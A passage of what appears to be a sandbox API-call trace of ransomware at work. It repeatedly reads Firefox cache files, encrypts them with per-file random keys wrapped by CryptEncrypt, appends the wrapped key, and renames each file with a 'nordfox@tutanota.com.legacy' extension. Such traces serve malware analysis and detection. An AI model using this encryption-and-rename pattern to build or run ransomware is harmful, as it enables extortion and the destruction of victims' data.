nNumberOfBytesToRead=0x1166, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f5890*, lpNumberOfBytesRead=0x2e1f9bc*=0x1166, lpOverlapped=0x0) returned 1 [0190.696] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-4454, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.696] WriteFile (in: hFile=0x1b80, lpBuffer=0x30db048*, nNumberOfBytesToWrite=0x1166, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30db048*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1166, lpOverlapped=0x0) returned 1 [0190.697] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1166 [0190.697] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0190.697] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30f4d50*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30f4d50*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0190.697] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f4d50*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f4d50*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0190.697] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0190.697] CloseHandle (hObject=0x1b80) returned 1 [0190.698] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\37D63D8E3209E1320DA8FE39BB8886154CC74653" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\37d63d8e3209e1320da8fe39bb8886154cc74653"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\37D63D8E3209E1320DA8FE39BB8886154CC74653.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\37d63d8e3209e1320da8fe39bb8886154cc74653.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0190.700] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30f4828 | out: pbBuffer=0x30f4828) returned 1 [0190.700] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0190.700] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\356FCE9F932692DC643481DBA1ABEA937B629F58", dwFileAttributes=0x80) returned 1 [0190.701] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30f3fe8 [0190.701] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0190.701] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\356FCE9F932692DC643481DBA1ABEA937B629F58" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\356fce9f932692dc643481dba1abea937b629f58"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0190.701] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=100) returned 1 [0190.701] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x64) returned 0x56f118 [0190.702] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x64) returned 0x5698c8 [0190.702] ReadFile (in: hFile=0x1b80, lpBuffer=0x56f118, nNumberOfBytesToRead=0x64, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x56f118*, lpNumberOfBytesRead=0x2e1f9bc*=0x64, lpOverlapped=0x0) returned 1 [0190.702] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-100, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.702] WriteFile (in: hFile=0x1b80, lpBuffer=0x5698c8*, nNumberOfBytesToWrite=0x64, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5698c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x64, lpOverlapped=0x0) returned 1 [0190.703] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x64 [0190.703] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0190.703] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30f4828*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30f4828*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0190.703] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f4828*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f4828*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0190.703] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0190.703] CloseHandle (hObject=0x1b80) returned 1 [0190.703] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\356FCE9F932692DC643481DBA1ABEA937B629F58" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\356fce9f932692dc643481dba1abea937b629f58"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\356FCE9F932692DC643481DBA1ABEA937B629F58.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\356fce9f932692dc643481dba1abea937b629f58.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0190.705] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30daa30 | out: pbBuffer=0x30daa30) returned 1 [0190.706] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0190.706] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3502F57243FBD8F9D25E093A72D603074783A304", dwFileAttributes=0x80) returned 1 [0190.706] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30f4c48 [0190.706] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0190.706] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3502F57243FBD8F9D25E093A72D603074783A304" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\3502f57243fbd8f9d25e093a72d603074783a304"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0190.707] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=11508) returned 1 [0190.707] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2cf4) returned 0x30db048 [0190.707] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2cf4) returned 0x30ddd48 [0190.707] ReadFile (in: hFile=0x1b80, lpBuffer=0x30db048, nNumberOfBytesToRead=0x2cf4, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30db048*, lpNumberOfBytesRead=0x2e1f9bc*=0x2cf4, lpOverlapped=0x0) returned 1 [0190.732] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-11508, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.732] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ddd48*, nNumberOfBytesToWrite=0x2cf4, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ddd48*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2cf4, lpOverlapped=0x0) returned 1 [0190.732] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2cf4 [0190.732] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0190.732] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30daa30*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30daa30*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0190.732] WriteFile (in: hFile=0x1b80, lpBuffer=0x30daa30*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30daa30*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0190.733] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0190.733] CloseHandle (hObject=0x1b80) returned 1 [0190.733] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3502F57243FBD8F9D25E093A72D603074783A304" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\3502f57243fbd8f9d25e093a72d603074783a304"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3502F57243FBD8F9D25E093A72D603074783A304.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\3502f57243fbd8f9d25e093a72d603074783a304.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0190.735] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30da928 | out: pbBuffer=0x30da928) returned 1 [0190.735] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0190.735] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\34647CED6D78CD19DDE8B8B095D71A8525D25F62", dwFileAttributes=0x80) returned 1 [0190.735] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30daa30 [0190.735] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0190.736] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\34647CED6D78CD19DDE8B8B095D71A8525D25F62" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\34647ced6d78cd19dde8b8b095d71a8525d25f62"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0190.736] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=3138) returned 1 [0190.736] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc42) returned 0x30f5890 [0190.736] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc42) returned 0x30db048 [0190.736] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f5890, nNumberOfBytesToRead=0xc42, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f5890*, lpNumberOfBytesRead=0x2e1f9bc*=0xc42, lpOverlapped=0x0) returned 1 [0190.737] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.738] WriteFile (in: hFile=0x1b80, lpBuffer=0x30db048*, nNumberOfBytesToWrite=0xc42, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30db048*, lpNumberOfBytesWritten=0x2e1f9bc*=0xc42, lpOverlapped=0x0) returned 1 [0190.738] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xc42 [0190.738] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0190.738] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30da928*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30da928*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0190.738] WriteFile (in: hFile=0x1b80, lpBuffer=0x30da928*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30da928*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0190.738] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0190.738] CloseHandle (hObject=0x1b80) returned 1 [0190.739] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\34647CED6D78CD19DDE8B8B095D71A8525D25F62" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\34647ced6d78cd19dde8b8b095d71a8525d25f62"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\34647CED6D78CD19DDE8B8B095D71A8525D25F62.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\34647ced6d78cd19dde8b8b095d71a8525d25f62.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0190.741] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30da718 | out: pbBuffer=0x30da718) returned 1 [0190.741] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0190.741] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\33A34037B96BD19CC90C0A382CEDF384EE052FCC", dwFileAttributes=0x80) returned 1 [0190.741] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30da928 [0190.741] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0190.741] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\33A34037B96BD19CC90C0A382CEDF384EE052FCC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\33a34037b96bd19cc90c0a382cedf384ee052fcc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0190.741] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=3583) returned 1 [0190.741] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xdff) returned 0x30f5890 [0190.741] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xdff) returned 0x30db048 [0190.741] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f5890, nNumberOfBytesToRead=0xdff, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f5890*, lpNumberOfBytesRead=0x2e1f9bc*=0xdff, lpOverlapped=0x0) returned 1 [0190.782] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3583, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.782] WriteFile (in: hFile=0x1b80, lpBuffer=0x30db048*, nNumberOfBytesToWrite=0xdff, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30db048*, lpNumberOfBytesWritten=0x2e1f9bc*=0xdff, lpOverlapped=0x0) returned 1 [0190.782] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xdff [0190.782] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0190.782] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30da718*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30da718*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0190.783] WriteFile (in: hFile=0x1b80, lpBuffer=0x30da718*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30da718*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0190.783] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0190.783] CloseHandle (hObject=0x1b80) returned 1 [0190.785] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\33A34037B96BD19CC90C0A382CEDF384EE052FCC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\33a34037b96bd19cc90c0a382cedf384ee052fcc"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\33A34037B96BD19CC90C0A382CEDF384EE052FCC.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\33a34037b96bd19cc90c0a382cedf384ee052fcc.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0190.790] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30da508 | out: pbBuffer=0x30da508) returned 1 [0190.790] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0190.790] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\339A4E96E26DFFA4704F0AF081D2B85B12D03939", dwFileAttributes=0x80) returned 1 [0190.790] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30da718 [0190.791] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0190.791] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\339A4E96E26DFFA4704F0AF081D2B85B12D03939" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\339a4e96e26dffa4704f0af081d2b85b12d03939"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0190.791] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=37149) returned 1 [0190.791] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x911d) returned 0x30db048 [0190.791] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x911d) returned 0x30e4170 [0190.791] ReadFile (in: hFile=0x1b80, lpBuffer=0x30db048, nNumberOfBytesToRead=0x911d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30db048*, lpNumberOfBytesRead=0x2e1f9bc*=0x911d, lpOverlapped=0x0) returned 1 [0190.806] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-37149, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.806] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e4170*, nNumberOfBytesToWrite=0x911d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e4170*, lpNumberOfBytesWritten=0x2e1f9bc*=0x911d, lpOverlapped=0x0) returned 1 [0190.806] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x911d [0190.806] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0190.806] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30da508*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30da508*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0190.806] WriteFile (in: hFile=0x1b80, lpBuffer=0x30da508*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30da508*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0190.807] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0190.807] CloseHandle (hObject=0x1b80) returned 1 [0190.807] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\339A4E96E26DFFA4704F0AF081D2B85B12D03939" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\339a4e96e26dffa4704f0af081d2b85b12d03939"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\339A4E96E26DFFA4704F0AF081D2B85B12D03939.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\339a4e96e26dffa4704f0af081d2b85b12d03939.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0190.810] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30d9bc0 | out: pbBuffer=0x30d9bc0) returned 1 [0190.810] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0190.810] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\32B6927A1EB46E83B230070265358A1C5B788D11", dwFileAttributes=0x80) returned 1 [0190.810] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30da508 [0190.810] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0190.810] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\32B6927A1EB46E83B230070265358A1C5B788D11" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\32b6927a1eb46e83b230070265358a1c5b788d11"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0190.811] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=6864) returned 1 [0190.811] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1ad0) returned 0x30db048 [0190.811] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1ad0) returned 0x30dcb20 [0190.811] ReadFile (in: hFile=0x1b80, lpBuffer=0x30db048, nNumberOfBytesToRead=0x1ad0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30db048*, lpNumberOfBytesRead=0x2e1f9bc*=0x1ad0, lpOverlapped=0x0) returned 1 [0190.819] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-6864, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.819] WriteFile (in: hFile=0x1b80, lpBuffer=0x30dcb20*, nNumberOfBytesToWrite=0x1ad0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dcb20*, 